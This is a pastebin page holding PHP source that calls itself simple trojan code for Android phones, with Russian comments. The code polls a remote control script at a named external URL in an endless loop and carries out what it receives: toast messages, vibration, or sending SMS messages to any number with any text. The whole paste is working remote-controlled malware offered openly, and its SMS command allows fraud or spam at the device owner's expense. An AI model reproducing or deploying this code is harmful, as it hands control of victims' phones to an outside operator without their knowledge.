Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)
Paste
Pasted as PHP by dima ( 16 years ago )
<?php
/* Simple Trojan Code for AndroidMobilePhones by imradio */
require_once("Android.php");
$droid = new Android();
// Настройки
$url = "http://dmitry.my3space.ru/1.php"; // url управляющего скрипта
$sleeptime = 5; // время в секундах, на которые засыпает скрипт перед повторным обновлением
// Вывести тост =)
function toast($message) {
global $droid;
$droid -> makeToast($message);
}
// Вибрация
function vibrate() {
global $droid;
$droid->vibrate();
}
// Посыл смс
function sendsms($atr) {
global $droid;
list($phone, $text) = explode ("|", $atr);
echo "Number: " . $phone . " Text: " . $text . "\n";
if ($droid->smsSend($phone, $text)) {
echo "Sms sended!\n";
}
}
set_time_limit(0);
$time = time();
while (1) {
$result = file_get_contents($url);
echo "===== Data start ===== \n";
echo $result . "\n";
list($c, $a, $t) = explode (":", $result);
echo $c . " = " . $a . " Time = " . $t . "\n";
if ($t != $time) {
switch($c)
{
case "toast" :
toast($a);
break;
case "vibrate" :
vibrate();
break;
case "sms" :
sendsms($a);
break;
default:
break;
}
$time = $t;
}
echo "===== Data end ===== \n\n";
sleep($sleeptime);
}
?>
Revise this Paste